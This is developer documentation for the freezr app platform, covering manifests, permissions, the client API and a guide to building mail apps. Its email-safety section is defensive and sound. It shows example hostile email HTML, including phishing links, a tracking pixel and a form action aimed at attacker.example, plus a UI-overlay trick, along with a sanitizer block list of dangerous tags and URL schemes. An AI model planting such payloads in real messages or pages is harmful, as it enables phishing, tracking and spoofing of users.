Create Apps

App Creator

The easiest way to build apps is by using freezr's App Creator, which helps you build, preview, and publish freezr apps directly from your browser. Every app lives under a project folder on your freezr server. You write plain HTML, CSS, and JS — there's no build step and no bundler required. (See below for writing in JSX / React)

How it works

Whichever way you create your apps, you should be aware of the way freezr ulls togehter pages and data. Each app contains one or more pages. A page is an HTML file plus optional CSS and JS resources. When a visitor loads the page, freezr injects your resources into a standard HTML skeleton and serves the result. You can define the reseources associated with each page in the app manifest. (Details below) Your JS can call freezr.query(), freezr.create(), and other API methods in your code — the global freezr object and its API are always available, as defined below.

specs / app manifest

App manifest

Every freezr app should ship a manifest.json read at install time. It describes the app's identity, the pages it serves, the data tables it needs, and the permissions it requests from the user or from other installed apps. (Simple apps can run without a manifest as freezr defaults to checking for the page namesake js css and html files.)

Metadata fields

FieldTypeDescription
identifier string required Reverse-domain app name, e.g. com.you.myapp. Also the folder name under users_freezr/<user>/apps/.
display_name string required Human-readable name shown in the app list
description string optional Short description shown in the app listing
version string optional Semver version string
meta.only_use_collections_listed boolean optional When true, freezr enforces the declared app_tables — writes to undeclared tables fail. Recommended for catching typos early.
manifest_url string optional Canonical URL of the manifest zip file (if available).

Pages

The pages object defines HTML pages served directly from the freezr server. Each entry is keyed by page name (e.g. index) and resolves to /apps/<app_id>/<page>. Page HTML files contain inner-body markup only — no <!DOCTYPE>, <html>, <head> or <body>. freezr wraps them with the document skeleton at render time.

FieldTypeDescription
page_titlestringrequiredBrowser tab title
html_filestringrequiredInner-body HTML filename
modulesarrayoptionalES-module JS file(s) injected as <script type="module"> with the page nonce
script_filesarrayoptionalNon-module JS file(s) injected as plain <script> tags
css_filesarrayoptionalCSS file(s) linked in the page <head>
initial_queryobjectoptionalWIP. Pre-populates the page server-side using Mustache.js conventions

App tables

The app_tables object declares the data tables (collections) the app uses. freezr creates them at install time and scopes them to the app's identifier: the actual table name is <app_id>.<table>, so com.you.notes's entries table is stored as com.you.notes.entries.

"app_tables": {
  "entries": {
    "strictly_Adhere_To_schema": false,
    "field_names": {
      "title": { "description": "Note title", "type": "String" },
      "body":  { "description": "Markdown body", "type": "Text" }
    }
  }
}

Tables are private to the app by default. Sharing with other apps requires a permissions declaration (below) plus the user granting it at install time.

Permissions

An app may request access to another installed app's tables, or to access the user's LLM or serveless instances, or to relax freezr's CSP policies, via the permissions object. Users can also give permission to other users to access specific data records or whole tables, and / or makle them publicly accessible. Each user must approve the permissions requested by apps at install time or later via the Account app. Granted permissions can be revoked at any time.

PermissionGrants
read_allRead all records in another app or user's table (broad scope)
write_allCreate / update records in another app or user's table
write_ownRead al and create records in another app or user's table, and be able to update the records that user/app has created.
share_recordsShare specific records with other users on the same server. Once this permission is given to the app, the app is trusted to decide which persons to share with.
db_queryWIP allow apps or users to access records based on specific query criteria.
message_recordsSend record-linked messages to other users
upload_pagesCreate an html page which the app can reconstruct with specified js and css files. (This page was created with the upload_pages premission.)
allow_self_framesRelax CSP to allow same-origin and blob: iframes
external_fetchRelax connect-src to whitelisted external domains
external_scriptsAllow external scripts with SRI hashes
unsafe_evalAllow eval() / new Function()
use_llmAllow the app to use your llm API Key to ask your llm to perform any task.
run_jobRun a background job on demand (when you or the app trigger it). You choose where it runs — on this server (if an admin has trusted it) or on your own cloud.
schedule_jobRun a background job automatically on a recurring schedule. Independent of run_job; the app starts the schedule when it's meaningful.
specs / client api

The freezr global

Every app page has freezrApiV2.js injected before any app script. It defines a global freezr (and window.freezr) object exposing the full client API. Apps do not import it — they call it directly.

The global API is organised as:

NamespacePurpose
freezr.create / read / update / updateFields / delete / queryRecord CRUD
freezr.collection(name)Bound helper for a single table
freezr.publicqueryQuery another user's public records
freezr.upload / getFileUrl / deleteFileFile operations
freezr.perms.*Permission grants, record sharing, public file sharing
freezr.messages.*Cross-user messaging linked to records
freezr.llm.*LLM completions and image generation using the user's stored keys
freezr.jobs.*Run background jobs on demand, start/stop schedules, and check job status (local "trusted" or the user's serverless cloud)
freezr.utils.*Helpers: cookie reading, ping, manifest lookup, resource usage, path building
freezr.apiRequestLow-level HTTP helper for custom endpoints
The freezr.initPageScripts hook is called once on window.load. Apps assign a function to it to run their boot code — this guarantees the API is ready and the page DOM is parsed.

All functions return a Promise. Most accept (primaryArgs, options) where options is an object with optional keys (appToken, host, owner_id, permission_name, requestee_app, etc.). Legacy callback-based methods (freezr.ceps.*, freezr.feps.*) exist only for backward compatibility and log a deprecation warning.

CRUD operations

The first argument is either a bare collection name (prefixed automatically with the calling app's identifier) or a full <app_id>.<table> reference when using requestee_app to access another app's data.

fn freezr.create(collection, data, options?) Create a record
Arguments
collection string required
Bare table name (e.g. "notes") or full "com.other.app.items".
data object required
Record fields. _id is assigned server-side unless data_object_id is passed.
options.data_object_id string optional
Force a specific record ID (FEPS path). Certain server /db set ups may require specific formats for ids and restrict this option.
options.upsert boolean optional
Update if exists, otherwise insert (FEPS path).
options.requestee_app, permission_name, owner_id string optional
Write to another app's / another user's table via a granted permission (FEPS path).
// simple create
const res = await freezr.create(
  'notes',
  { title: 'Hello', body: 'First note' }
)
// => { _id: 'abc123', ... }
// upsert with forced id
await freezr.create('notes', data, {
  data_object_id: 'abc123',
  upsert: true
})
fn freezr.read(collection, id, options?) Read a record by id
Arguments
collection string required
id string required
The record's _id.
options.owner_id string optional
Read a record owned by another user (requires a granted share_records / read_records permission).
options.permission_name string optional
Name of the permission under which to access the record.
// own record
const note = await freezr.read('notes', 'abc123')
// another user's shared record
await freezr.read('notes', 'abc123', {
  owner_id: 'alice',
  permission_name: 'shared_notes'
})
fn freezr.update(collection, id, data, options?) Replace a record (all fields)
Arguments
id string required
data object required
New record contents. Existing fields are replaced.
// replace
await freezr.update('notes', 'abc123', {
  title: 'Updated',
  body:  'New body'
})
fn freezr.updateFields(collection, idOrQuery, fields, options?) Partial update — change only some fields
Arguments
idOrQuery string | object required
Record _id for single-record update, or a query object to update all matching records.
fields object required
Fields to set. Unspecified fields are preserved.
// single record
await freezr.updateFields('notes',
  'abc123',
  { done: true }
)
// bulk
await freezr.updateFields('notes',
  { archived: false },
  { archived: true }
)
fn freezr.delete(collection, idOrQuery, options?) Delete a single record or all matching records
Arguments
idOrQuery string | object required
Record id, or a query object for bulk delete (routed to FEPS).
// single
await freezr.delete('notes', 'abc123')
// bulk
await freezr.delete('notes',
  { archived: true }
)
fn freezr.collection(name) Bound helper for a single table
Returns
An object with create, read, query, update, updateFields, delete pre-bound to name — convenient when a component only touches one table.
// usage
const notes = freezr.collection('notes')
await notes.create({ title: 'Hi' })
const all = await notes.query({})

Querying records

fn freezr.query(collection, query?, options?) Query records with a MongoDB-style filter
Arguments
query object optional
MongoDB-style filter. Dangerous operators ($where, $function, $accumulator, $expr) are rejected server-side.
options.count number optional
Max records to return.
options.skip number optional
Records to skip (for pagination).
options.sort object optional
e.g. { _date_modified: -1 }.
options.requestee_app, owner_id, permission_name string optional
Query another app's or user's records under a granted permission.
// own records
const rows = await freezr.query(
  'notes',
  { archived: false },
  { sort: { _date_modified: -1 },
    count: 20 }
)
// public query
await freezr.publicquery({
  owner: 'alice',
  app_table: 'com.you.blog.posts',
  count: 5
})

Files

Binary files are stored through the configured file-system adapter. File metadata (including _id and publicid) lives in the app's files collection, and the file body is addressed by a URL the browser fetches directly.

fn freezr.upload(file, options?) Upload a File / Blob
Arguments
file File | Blob required
A File object (from <input type="file">) or a Blob.
options.doNotOverWrite boolean optional
If a file with the same name exists, error instead of replacing it.
// upload
const file = evt.target.files[0]
const res = await freezr.upload(file)
// => { _id, publicid, filename, size, ... }
fn freezr.getFileUrl(fileId, options?) Build a browser-fetchable URL for a stored file
Arguments
fileId string required
The file's id or stored path.
// usage
// <img src={ freezr.getFileUrl(id) } />
// => /feps/userfiles/<app>/<user>/<id>
fn freezr.deleteFile(fileId, options?) Delete a file and its metadata
Note
Equivalent to freezr.delete('files', fileId). The underlying storage is cleaned up by the file-system adapter.
// delete
await freezr.deleteFile('img_001')

Permissions & sharing

fn freezr.perms.getAppPermissions(options?) List the permissions the user has granted this app
Returns
Array of { name, granted, description, ... }. Also available: freezr.perms.isGranted(name) for a simple boolean check.
// usage
const perms = await freezr.perms.getAppPermissions()
if (await freezr.perms.isGranted('share_records')) {
  // show share UI
}
fn freezr.perms.shareRecords(idOrQuery, options) Share record(s) with other users
Arguments
idOrQuery string | array | object required
Default: the original record _id (string), or an array of _ids. Pass { publicid: '...' } only when the publicid is the only thing you have (e.g. orphan cleanup). For that case prefer freezr.perms.unshareByPublicId(...).
options.grantees array required
Array of user ids to grant access to. Use ['_public'] for public.
options.name string required
Permission name declared in the app manifest.
options.action string optional
'grant' (default) or 'deny'.
// grant to a user
await freezr.perms.shareRecords('abc123', {
  grantees: ['bob'],
  name: 'shared_notes',
  action: 'grant'
})
// unshare (default = by record _id)
await freezr.perms.shareRecords('abc123', {
  grantees: ['_public'],
  name: 'publish_posts',
  table_id: 'com.example.myapp.posts',
  action: 'deny'
})
// publish a file (returns the share response)
await freezr.perms.shareFilePublicly('my/file/path.html', { name: 'publish_site', grant: true })
// publicid is `@<userId>/<app>.files/<fileId>` (or your custom `publicid` option)
// public URL = serverUrl/<publicid> — do NOT add extra path segments
// unshare when you only have the publicid (orphan-safe)
await freezr.perms.unshareByPublicId(publicid, {
  name: 'publish_site',
  table_id: 'com.example.myapp.files',
  grantees: ['_public'],
  forcePublicIdCleanup: true  // delete public record even if source is gone
})

Messages

Messages are small, record-linked notifications delivered across users on the same server (or across federated servers). Common uses: share invitations, activity notifications.

fn freezr.messages.send(message) Send a record-linked message
message
recipient_id | recipients string | array required
table_id string required
Full <app_id>.<table> containing the record.
record_id string required
sharing_permission | messaging_permission string required
contact_permission string required
// send
await freezr.messages.send({
  recipient_id: 'bob',
  table_id: 'com.you.notes.entries',
  record_id: 'abc123',
  sharing_permission: 'shared_notes',
  contact_permission: 'contact_users'
})
// inbox
const msgs = await freezr.messages.getAppMessages()
await freezr.messages.markRead(['m1', 'm2'])

LLM

freezr proxies LLM requests through the user's own keys (stored server-side in the account settings). The API abstracts Claude and OpenAI behind a single interface with streaming support via SSE.

fn freezr.llm.ask(prompt, options?) Send a prompt; stream the response back
Arguments
prompt string | array required
Text prompt, or an array of { role, content } for a conversation history.
options.context string optional
System message (persona / instructions).
options.provider string optional
'Claude' or 'ChatGPT'.
options.family, model, max_tokens mixed optional
Model family ('sonnet', 'opus', 'mini'...), specific model id, token cap.
options.files File | File[] optional
Attached files (images, PDFs, etc).
options.streamBack, onDelta, onThinking mixed optional
When streamBack: true, chunks are delivered via the callbacks as they arrive.
options.thinking boolean | object optional
Enable extended reasoning (Claude) or reasoning effort (ChatGPT o-series).
options.responseType string optional
'json' to auto-parse a JSON response. Incompatible with streamBack.
// one-shot
const res = await freezr.llm.ask('Summarise', {
  context: 'You are a concise assistant',
  family: 'sonnet'
})
console.log(res.response, res.meta.tokensUsed)
// streaming
await freezr.llm.ask(prompt, {
  streamBack: true,
  onDelta: (t) => appendToUi(t)
})
// image
const img = await freezr.llm.generateImage(
  'A cat in a wizard hat, watercolor',
  { size: '1024x1024' }
)
// img.b64Data is a PNG base64 string

Mail (connections)

Apps with a granted use_mail permission can read, search, sync, and send mail on the user's connected accounts via the freezr.connections.mail namespace. The user controls which accounts the app sees through a per-app connection picker at /account/resources. Today the only connector behind the namespace is Gmail; Microsoft Graph and IMAP/SMTP are planned and the API surface won't change when they land. The connections.mail.* SDK is loaded on-demand — it is only injected on apps whose manifest declares a use_mail permission.

FunctionEffect
freezr.connections.mail.listAccounts()Connections this app is allowed to see (filtered server-side by granted scope)
freezr.connections.mail.listFolders({ connectionName })Folders / labels for one connection (Gmail labels → unified shape)
freezr.connections.mail.listMessages({ connectionName, ... })Paginated message metadata, optionally with attachment manifests
freezr.connections.mail.searchMessages({ connectionName, ... })Structured search (text, from, to, since, before, labels, isRead, hasAttachments)
freezr.connections.mail.getMessage({ connectionName, messageId })One full message with bodies + attachment metadata
freezr.connections.mail.getAttachment({ connectionName, messageId, attachmentId, ... })Raw attachment bytes (Blob by default; pass responseType: 'arrayBuffer' for binary)
freezr.connections.mail.getNewer({ connectionName, lastToken })Incremental delta sync — added / deleted / label-changed since lastToken
freezr.connections.mail.sendMessage({ connectionName, to, subject, bodyText, ... })Send a message (requires write scope)
freezr.connections.mail.createDraft({ ... })Save a draft on the provider (same args as send)
freezr.connections.mail.markRead({ connectionName, messageId, isRead })Toggle the message's read flag
freezr.connections.mail.moveMessage({ connectionName, messageId, targetFolder })Move into another folder / label
freezr.connections.mail.trashMessage({ connectionName, messageId })Send to Trash (recoverable)
freezr.connections.mail.deleteMessage({ connectionName, messageId })Permanently delete (skips Trash)
freezr.connections.mail.handleTokenExpired(resOrErr)Detect token_expired and navigate to the reauth URL — returns true if handled
fn freezr.connections.mail.listMessages(args, options?) Page through a folder's messages, newest first
Arguments
args.connectionName string required
A connection the app is allowed to see (from listAccounts()).
args.labelIds string[] optional
Folder filter (Gmail label ids). Omit / empty = all labels. Pass ['INBOX'] for inbox-only.
args.limit, pageToken number, string optional
Page size (1–100, default 20) and the opaque cursor returned by the previous call.
args.q string optional
Provider-native search query (Gmail syntax today: 'has:attachment after:1700000000'). Prefer searchMessages for portable queries.
args.includeAttachments boolean optional
When true each row carries an attachments: [{ id, filename, mimeType, sizeBytes }] array. Bodies are not returned — use getMessage per row for those.
// fetch the first page of INBOX
const { messages, nextPageToken } =
  await freezr.connections.mail.listMessages({
    connectionName: 'gmailWork',
    labelIds: ['INBOX'],
    limit: 25
  })
// scan for PDF attachments without reading bodies
const page = await freezr.connections.mail.listMessages({
  connectionName,
  q: 'has:attachment filename:pdf',
  includeAttachments: true
})
for (const m of page.messages) {
  // m.attachments[i].mimeType is untrusted — see "Common pitfalls"
}
fn freezr.connections.mail.getMessage(args, options?) Full message: bodies + attachment metadata
Arguments
args.connectionName string required
Connection the message lives in.
args.messageId string required
Provider message id from a prior listMessages / getNewer row.
const { message } =
  await freezr.connections.mail.getMessage({
    connectionName, messageId
  })

// message.bodyHtml & message.bodyText are present when the
// MIME tree has them. NEVER pass bodyHtml to .innerHTML
// without sanitization — see "Rendering email safely".
fn freezr.connections.mail.getNewer(args, options?) Incremental sync — what changed since last call
Arguments
args.connectionName string required
The connection to sync.
args.lastToken string optional
Opaque cursor from a prior call. Omit on the very first call — the server returns a fresh nextToken with changes: [] to seed.
args.limit number optional
Max events per call (1–500, default 100).
Returns
changes array always
{ type: 'messageAdded', message } | { type: 'messageDeleted', messageId } | { type: 'labelAdded' | 'labelRemoved', messageId, labels }.
nextToken, expired string, boolean always
Persist nextToken for the next call. expired: true means the provider's delta window elapsed (Gmail ~7 days) — do a full listMessages reload and seed a fresh token.
// first call seeds, returns no events
const seed = await freezr.connections.mail.getNewer({
  connectionName
})
saveToken(seed.nextToken)

// later, fetch deltas
const res = await freezr.connections.mail.getNewer({
  connectionName,
  lastToken: readToken()
})
if (res.expired) {
  // fall back to full reload
  reloadFolderFromScratch()
}
saveToken(res.nextToken)
res.changes.forEach(applyToLocalView)
fn freezr.connections.mail.sendMessage(args, options?) Build a MIME message and deliver via the provider
Arguments
args.connectionName string required
Must have write scope in the granted use_mail permission AND the connection's access.mail set to 'readwrite' in /account/resources.
args.to, cc, bcc string | string[] | {address, name}[] required (to)
Recipient addresses. Bare strings, comma-separated strings, arrays of strings, or arrays of { address, name } are all accepted.
args.subject string optional
UTF-8 safe — non-ASCII subjects are auto-encoded per RFC 2047.
args.bodyText, bodyHtml string optional
Provide either or both. Both → multipart/alternative.
args.attachments array optional
[{ filename, mimeType, contentBase64 }]. Keep total payload under ~20 MB (provider limits).
args.threadId, inReplyTo, references string optional
For replies. threadId attaches to the parent thread on the provider; inReplyTo / references populate the corresponding RFC 822 headers for cross-client threading.
Returns
{ messageId, threadId } object always
Provider-assigned ids of the sent message.
// plain reply
await freezr.connections.mail.sendMessage({
  connectionName,
  to: ['alice@example.com'],
  subject: 'Re: Lunch',
  bodyText: 'Sounds good — 1pm?',
  threadId: parent.threadId
})
// with attachment from a <input type="file">
async function fileToBase64 (file) {
  return new Promise(resolve => {
    const r = new FileReader()
    r.onload = () => resolve(r.result.split('base64,')[1])
    r.readAsDataURL(file)
  })
}

const contentBase64 = await fileToBase64(fileInput.files[0])
await freezr.connections.mail.sendMessage({
  connectionName, to: ['team@x.com'],
  subject: 'Report', bodyText: 'Attached.',
  attachments: [{
    filename: fileInput.files[0].name,
    mimeType: fileInput.files[0].type,
    contentBase64
  }]
})
// detect token_expired anywhere in the namespace
try {
  const res = await freezr.connections.mail.listMessages({ connectionName })
  // ... use res ...
} catch (err) {
  if (freezr.connections.mail.handleTokenExpired(err)) return // redirected to /account/resources
  showError(err.message)
}

Background Jobs

Run server-side code without a server in your app. A job is a module at jobs/<name>/index.mjs exporting async function handler (freezr, params) — inside it, freezr is the same client API, so a job is just an API client that runs outside the browser. freezr resolves where it runs: on this server (in-process, admin-trusted) or on the user's own serverless cloud (e.g. AWS Lambda). Jobs are declared in the manifest's jobs array and gated by two independent permissions — run_job (on demand) and schedule_job (recurring); the user also picks the location when granting.

FunctionEffect
freezr.jobs.run(name, params?, opts?)Run a job on demand. name = your own job, or <ownerApp>.jobs.<job> for a third-party job
freezr.jobs.schedule(name)Start the recurring schedule (granting schedule_job is consent only — the app starts it)
freezr.jobs.unschedule(name)Stop the recurring schedule
freezr.jobs.ping()Per-job status: granted? trusted (runs locally)? scheduled? + is the user's cloud available
// run a job on demand
const res = await freezr.jobs.run('process_inbox', { since: lastRun })
if (res.ok) console.log(res.result)

// scheduling is app-driven — start it when it's meaningful
await freezr.jobs.schedule('process_inbox')

// know what you can do before offering job features
const info = await freezr.jobs.ping()
// info.has_compute · info.jobs.process_inbox.{ run_job_granted, schedule_job_granted, trusted, scheduled, location }
specs / background jobs

Background Jobs

freezr apps are generally client-side. When an app needs server-side compute — heavy processing, scheduled/recurring tasks, calling external services, or using node modules — it declares a job: a module at jobs/<name>/index.mjs exporting async function handler (freezr, params). The same handler runs in one of two places, chosen by the user, and is reached through freezr.jobs.*.

A job that needs npm packages ships a pre-built node_modules folder alongside its code — freezr copies it into the deployable unit and never runs npm install.

On this server (admin-trusted)

An admin can trust a job so it runs in-process on the freezr server. Because in-process code has full server access, this is a deliberate admin decision (analogous to installing an npm package); the admin also picks the audience — which users may run the trusted copy (admins only / all users / a named list).

On the user's own cloud (serverless)

If the user has added a serverless (compute) credential — AWS Lambda today — the job is deployed to and runs in the user's own cloud account, on their dime. No admin trust is needed: it's the user's code on the user's compute. freezr bundles the job (with its pre-built dependencies) and ships only short-lived run credentials + params at invoke time; the job calls back to freezr over HTTPS for any data access.

  • run_job — run on demand. schedule_job — run automatically (hourly / daily / weekly). Independent consents.
  • The user chooses where each runs (auto / this server / their cloud) when granting.
  • Scheduling is app-driven: granting schedule_job is consent only; the app calls freezr.jobs.schedule(name) to start it.
specs / mail apps

Building mail-consuming apps for freezr

Apps that consume mail talk to the user's connected accounts through the freezr.connections.mail namespace. Tokens are never visible client-side — the freezr server holds the OAuth grant, refreshes it transparently, and surfaces a structured token_expired payload when re-auth is needed. This guide covers the patterns every mail app should follow: declaring the right permission scope, rendering email safely, syncing incrementally, sending mail, and the subtle correctness traps that catch most apps the first time.

A working reference implementation ships as the built-in info.freezr.connections / mail page — it exercises every method in the API and is the canary for new connectors. Read its source if you want to copy patterns wholesale.

Permissions model

Mail access is gated on two independent levels — both must allow the action or the call is rejected. This split lets a user keep one account read-only while letting the same app read+write another.

  • App-side: use_mail in the manifest. Declares the app's maximum ask. Fields: connection_names (a list of specific connections, or ['*'] for all) and scopes (['read'] or ['read', 'write']). The user accepts or denies in the app-settings dialog and can narrow the connection list there.
  • Connection-side: access.mail on the connection record. Set per-connection by the user at /account/resources. Values: 'read' or 'readwrite'. A connection set to 'read' rejects every write call even if the granting app has write scope.

The practical consequence: an app that only needs to read mail should request scopes: ['read']. Apps that send should request ['read', 'write'] but gracefully handle the case where the user's chosen connection is configured read-only — disable the Compose UI and explain why, rather than failing on submit.

// manifest.json — minimal read-only mail consumer
{
  "identifier": "com.you.receiptlog",
  ...
  "permissions": [
    {
      "name": "receipts",
      "type": "use_mail",
      "description": "Scan messages for receipts.",
      "connection_names": ["*"],
      "scopes": ["read"]
    }
  ]
}

Token & revocation model

Apps authenticate to freezr with an app token obtained at install time. Two facts about this token matter for mail apps in particular:

  • Offline tokens persist. Tokens issued via /acctapi/generateAppPassword are valid for up to 6 months. An app that holds an offline token can keep making mail calls without the user being signed in — design your storage with that lifetime in mind. (Apps that do not need offline access should not request the token.)
  • Revoking the permission revokes the token. When the user revokes use_mail at /account/resources, freezr both (a) flips the permission record to granted: false and (b) deletes any offline tokens for that (user, app) pair. The next call gets 401 "Token not found in database". App code should treat this identically to token_expired — surface the reauth path, don't fight the failure.
  • Per-connection revoke is granular. If the user narrows your connection_names at /account/resources (e.g. from ["*"] to ["gmailWork"]), calls against removed connections start returning 403 with no warning. Handle 403 the same way as token_expired.
  • System-app permission shortcuts. A small set of system apps (info.freezr.connections, info.freezr.creator, info.freezr.admin) have auto-granted permissions defined in common/systemPermissions.json. Third-party apps cannot get on that list — but you should know it exists when reading the perm-load code in mailContext.

Rendering email safely

An email's HTML body is untrusted external content. It can contain <script>, event-handler attributes (onerror, onload, …), javascript: URLs, and CSS that escapes its container. Rendering it carelessly leaks data to attackers and lets remote senders run code in your app's origin. freezr's CSP blocks the worst categories (no inline scripts, no iframes, no <object>/<embed>), but you still need a sanitization step and you should isolate the rendered DOM.

Threat model — read this once. The threat actor for an email body is the sender, not the app author. The sender is an arbitrary third party; the app author is trusted by the user (they installed the app). This is a different model from the rest of freezr's app-side security, and means you don't get to rely on app-installation review to keep dangerous content out — every message body has to be treated as hostile.

Free defenses you inherit from freezr's CSP

freezr's default Content-Security-Policy (set by the platform; see adapters/rendering/pageLoader.mjs) neutralises a large class of attacks before your app does anything. As long as your manifest doesn't request the matching capability permissions (external_scripts, unsafe_eval, etc.), the following cannot execute in a freezr mail viewer:

  • <script>...</script> blocks — script-src 'self' with no 'unsafe-inline'.
  • <img onerror=...>, <svg onload=...>, <body onclick=...> and every other inline event handler.
  • Inline javascript: URLs in <a href> / form actions.
  • <iframe>, <object>, <embed> — blocked by frame-src 'none' / object-src 'none'. (This is why we use Shadow DOM rather than sandbox iframes for isolation.)
  • Cross-origin script loads — no external script hosts allowed without external_scripts.
  • Cookies scoped to other apps — path-scoped cookies mean even a script that did execute can only read tokens for the same path prefix (e.g. /connections), not the account token.

Residual risks the CSP does NOT cover — sanitize for these

Some attack categories survive the CSP and have to be caught by your sanitizer or by careful rendering. The sanitizer below covers all of them; if you swap in DOMPurify, confirm its config covers them too.

  • Visual phishing. A <a href="https://attacker.example/...">Click here to verify your account</a> looks legitimate inline. CSP doesn't stop the navigation. Rewriting every link to target="_blank" rel="noopener noreferrer" (as the sample does) at least keeps the user's session in the mail tab.
  • Page hijack via <meta http-equiv="refresh"> or <base href>. A <meta refresh> in an email body can redirect the entire page; a <base href> can silently rewrite where every relative URL resolves. The sanitizer strips both.
  • Layout overlay / UI spoofing. <div style="position:fixed; top:0; left:0; width:100%; height:100%; background:white; z-index:9999">Sign in</div> can cover your entire app with attacker-controlled content. Shadow DOM contains this — content inside a shadow root cannot reach the parent document — which is the main reason to use shadow rendering rather than appending sanitized HTML directly into your app's DOM.
  • Tracking pixels. <img src="https://attacker.example/pixel?to=victim@host"> reveals to the sender that the user opened the email plus their IP / User-Agent. This is a privacy issue, not a code-execution issue — CSP allows images from any source so the loader runs. Apps that want to block this can rewrite or strip <img src> values pointing to non-allowlisted domains.
  • Form submission. <form action="https://attacker.example"> can submit to anywhere. CSP's form-action 'self' only restricts forms whose action begins as same-origin and then redirects; an external action URL is still attempted. Strip <form> outright unless you really want it.
  • Untrusted attachment mimeType. The mimeType on each attachment row comes from the sender's MIME headers — they can lie. The getAttachment route honors what you pass for Content-Type, so a malicious sender combined with an app that trusts att.mimeType blindly can get the browser to render bytes as the wrong type. If correctness matters (e.g. you only want to run a PDF parser on real PDFs), sniff the buffer's first bytes (PDF starts %PDF-, JPEG FF D8 FF, PNG 89 50 4E 47) before handling.

The pattern used by the built-in mail client:

  • Sanitize first. Use DOMParser to parse the HTML in an inert document, then walk the tree and remove dangerous elements (script, iframe, object, embed, link, meta, base, frame, frameset) and attributes (everything beginning with on, plus any href / src / poster / formaction / xlink:href whose value starts with javascript:, vbscript:, or data:text/html). For style attributes, strip expression(, behavior:, @import.
  • Isolate via Shadow DOM. Attach a shadow root to a host element and inject the sanitized HTML there. Shadow DOM scopes <style> tags inside the body so a sender's CSS can't restyle your app. (Iframes would also isolate, but the freezr CSP blocks them.)
  • Rewrite links. After injection, set target="_blank" rel="noopener noreferrer" on every <a> so clicks don't navigate the app away and the opened tab can't reach back via window.opener.
  • Plain text fallback. When only bodyText is present, render with textContent inside a <pre> with white-space: pre-wrap. Never innerHTML a plain-text body.
// minimal sanitizer + shadow-root rendering
function renderBody (host, m) {
  if (m.bodyHtml) {
    const shadow = host.attachShadow({ mode: 'open' })
    shadow.innerHTML =
      '<style>a{color:#2563eb} img{max-width:100%}</style>' +
      sanitize(m.bodyHtml)
    shadow.querySelectorAll('a[href]').forEach(a => {
      a.setAttribute('target', '_blank')
      a.setAttribute('rel', 'noopener noreferrer')
    })
  } else if (m.bodyText) {
    const pre = document.createElement('pre')
    pre.style.whiteSpace = 'pre-wrap'
    pre.textContent = m.bodyText
    host.appendChild(pre)
  }
}

function sanitize (html) {
  const doc = new DOMParser().parseFromString(html, 'text/html')
  const kill = ['script','iframe','object','embed',
                'link','meta','base','frame','frameset']
  kill.forEach(t => doc.querySelectorAll(t).forEach(n => n.remove()))
  doc.querySelectorAll('*').forEach(el => {
    [...el.attributes].forEach(a => {
      const n = a.name.toLowerCase(), v = String(a.value).toLowerCase().trim()
      if (n.startsWith('on')) el.removeAttribute(a.name)
      if ((n === 'href' || n === 'src' || n === 'poster' ||
           n === 'formaction' || n === 'xlink:href') &&
          (v.startsWith('javascript:') || v.startsWith('vbscript:') ||
           v.startsWith('data:text/html'))) el.removeAttribute(a.name)
    })
  })
  return doc.body ? doc.body.innerHTML : ''
}

For production-grade sanitization, swap the inline function above for DOMPurify — it handles a larger range of obscure escape vectors. The inline version above is the minimum bar.

Incremental sync

getNewer uses each provider's native delta API (Gmail history.list, Graph /messages/delta) to return only what changed since the cursor you saved. It is the right primitive for any app that periodically re-checks a mailbox — vastly cheaper than re-paging through listMessages.

  • Persist nextToken per connection. Most apps store it in their own data store (e.g. a freezr collection keyed by connectionName). Don't store it in localStorage unless your app is single-device — the cursor needs to travel with the dataset, not the browser.
  • Seed before reading. The first call with no lastToken returns changes: [] + a usable nextToken. Save the token; you'll get real deltas next time. The built-in mail client seeds automatically on page load.
  • Always handle expired: true. Provider delta windows have hard limits — Gmail invalidates after ~7 days, Graph keeps deltas longer but not forever. Treat expired as "do a full listMessages reload and seed a new cursor."
  • The Gmail history stream is mailbox-wide. If your app shows one folder at a time, filter the returned messageAdded events by checking whether the new message's labels array contains your current folder id. messageDeleted / labelAdded / labelRemoved events should usually be applied regardless of folder, so your local view stays consistent.
  • Cron is on the roadmap, not yet shipped. Until freezr cron lands, "incremental sync" runs only when your app's page is open and the user (or your code) calls getNewer. Don't design for background fetching yet.

Sending

sendMessage constructs an RFC 822 MIME message server-side and hands it to the provider. Bodies pass through as supplied — text/HTML you write is the text/HTML the recipient sees — so do your own escaping when interpolating user data into bodyHtml.

  • Plain text is enough to start. Most apps don't need bodyHtml. Gmail renders bodyText well; recipients see normal-looking mail.
  • Attachments are inline base64. Read browser File objects via FileReader.readAsDataURL and slice off the data:<mime>;base64, prefix to get contentBase64. Keep the total payload under ~20 MB — provider send limits land somewhere between 25–35 MB and you pay base64 overhead on top.
  • Threading needs threadId. Replies that come from getMessage already carry the parent's threadId; pass it through to sendMessage. For cross-client threading (Outlook, Apple Mail) also set inReplyTo to the parent's RFC 822 Message-ID header — but be aware the unified message shape doesn't surface that today (planned).
  • Check write permission up front. Before opening a compose UI, verify the chosen connection has access.mail === 'readwrite' from listAccounts() AND your granted permission included 'write'. If either fails, grey out Compose and explain — never let the user write a long message only to have it bounce on send.

Attachments

getAttachment returns a Blob (or ArrayBuffer with responseType: 'arrayBuffer'). The freezr CSP blocks <iframe>, <embed>, and <object>, so the cleanest way to surface a PDF, image, or any binary in the browser is to open a blob URL in a new tab:

const blob = await freezr.connections.mail.getAttachment({
  connectionName, messageId, attachmentId: att.id,
  filename: att.filename, mimeType: att.mimeType
})
const url = URL.createObjectURL(blob)
window.open(url, '_blank', 'noopener')
// the browser's native PDF viewer renders PDFs; images render inline;
// anything else triggers a download.
  • Treat mimeType as untrusted. The MIME type on the attachment row comes from the sender's MIME headers — they can lie. If you care about correctness (e.g. running a PDF parser on what claims to be a PDF), sniff the first few bytes of the buffer (PDF starts %PDF-, JPEG FF D8 FF, PNG 89 50 4E 47, etc.).
  • Revoke blob URLs you create. Either keep them in a list and call URL.revokeObjectURL when you navigate away, or use a short timeout after the click — leaking blob URLs holds memory open as long as the tab lives.
  • Don't render attachment HTML inline. A .html attachment is just an attachment. If you must show it, fetch it as a blob, sanitize, then render in a Shadow DOM as with the body — never fetch().then(r => r.text()).then(html => container.innerHTML = html).

Common pitfalls

  • Token expiry surfaces as a thrown error, not a success response. Wrap every call in a try/catch and use freezr.connections.mail.handleTokenExpired(err) as the first check in the catch — it returns true after navigating to the connection's reauth URL. Falling through to a generic error toast loses the user.
